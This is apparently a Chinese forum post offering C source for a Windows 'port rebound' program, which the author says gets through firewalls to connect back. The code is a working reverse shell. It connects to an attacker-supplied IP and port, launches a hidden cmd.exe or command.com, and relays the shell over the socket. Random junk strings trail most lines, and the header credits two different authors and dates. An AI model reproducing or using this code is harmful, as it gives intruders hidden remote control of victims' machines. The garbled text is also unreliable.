Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 ELeR5xT  
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/* ============================== B<
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Rebound port in Windows NT 2/RK pl &  
By wind,2006/7 .Ej `!  
===============================*/ i >Hh_q;'  
#include -q[T0^eS  
#include L;I.6<K.  
G1 %c<1Y  
#pragma comment(lib,"wsock32.lib") #dE#w#=r  
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void OutputShell(); )I9AF,K  
SOCKET sClient; @g(N!n~  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; X0^gj>GI|  
I! {AWfp0  
void main(int argc,char **argv) MI0'ou8l  
{ $]:I1I  
WSADATA stWsaData; T/p}Us  
int nRet; N*$<K
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SOCKADDR_IN stSaiClient,stSaiServer; aCcBmc  
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if(argc != 3) {6^c3R[  
{ FSoL|lH  
printf("Useage:\n\rRebound DestIP DestPort\n"); @y[Zr6\z  
return;
l %=yT6  
} 9~I\WjB "  
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WSAStartup(MAKEWORD(2,2),&stWsaData); -20o%t  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); "B*a| 'n!  
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stSaiClient.sin_family = AF_INET; AT}}RE@vq  
stSaiClient.sin_port = htons(0); TDBWYppM  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); k:4 Zc3  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) fs&J%ku\  
{ Gg|'T}0X  
printf("Bind Socket Failed!\n"); Yd~K\tX:n  
return; m~1{~'  
} p18-yt; 1  
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stSaiServer.sin_family = AF_INET; 7Gnslp?[U  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ~:b bV6YO  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); sqi~j(&\1  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) YN?@ S  
{ \NhCu$'  
printf("Connect Error!"); [&|Le;h  
return; BF<7.<,  
} v]F q}I"  
OutputShell(); .3?'+KZ,  
} >F8&wh'BjY  
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void OutputShell() *=ftg&  
{ zwR@^ 5^6  
char szBuff[1024]; NLyvi,svS  
SECURITY_ATTRIBUTES stSecurityAttributes; fKOm\R47  
OSVERSIONINFO stOsversionInfo; `~UCWK  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; I+D`\OSL  
STARTUPINFO stStartupInfo; aO.'(kk8  
char *szShell; fU@}]&  
PROCESS_INFORMATION stProcessInformation; R
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unsigned long lBytesRead; 2_
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); GC66n1- X  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); %\_I% yF  
stSecurityAttributes.lpSecurityDescriptor = 0; 0t}=F4@&a  
stSecurityAttributes.bInheritHandle = TRUE; t!c8c^HR  
JmrQDO_(  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); }U7>_b2  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); S+ymdZ)xZ`  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); IE$x2==)  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; EAF<PMb  
stStartupInfo.wShowWindow = SW_HIDE; TSdjX]Kf  
stStartupInfo.hStdInput = hReadPipe; BS;rit:  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; |(}uagfrd  
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GetVersionEx(&stOsversionInfo); q?[{fcNh$  
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switch(stOsversionInfo.dwPlatformId) ^c< <I-o|  
{ u9:;ft{}N  
case 1: \cPGy
eq  
szShell = "command.com"; c[!e*n!y  
break; o%h\55S  
default: E?y0UD[8J  
szShell = "cmd.exe"; *`ehI_v :  
break; TcZ Ci^1F  
} .Y_RI&B!L  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); dS0G+3J&+E  
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send(sClient,szMsg,77,0); TMKemci  
while(1) EYGJDv(S  
{ sa#=#0yg  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 9Vzk:zOT  
if(lBytesRead) }tft@,dIC  
{ BS*cG>T  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); EM vV  
send(sClient,szBuff,lBytesRead,0); ~IE:i-Kz  
} o|]xj'  
else aC]~   
{ <$UMMA  
lBytesRead=recv(sClient,szBuff,1024,0); s?~Abj_  
if(lBytesRead<=0) break; !aa^kcEjnL  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); RduA0@g0  
} i= ~HXr}  
} %!(6vm>8  
#$jAGt3^BT  
return; gD=s~DgN)  
}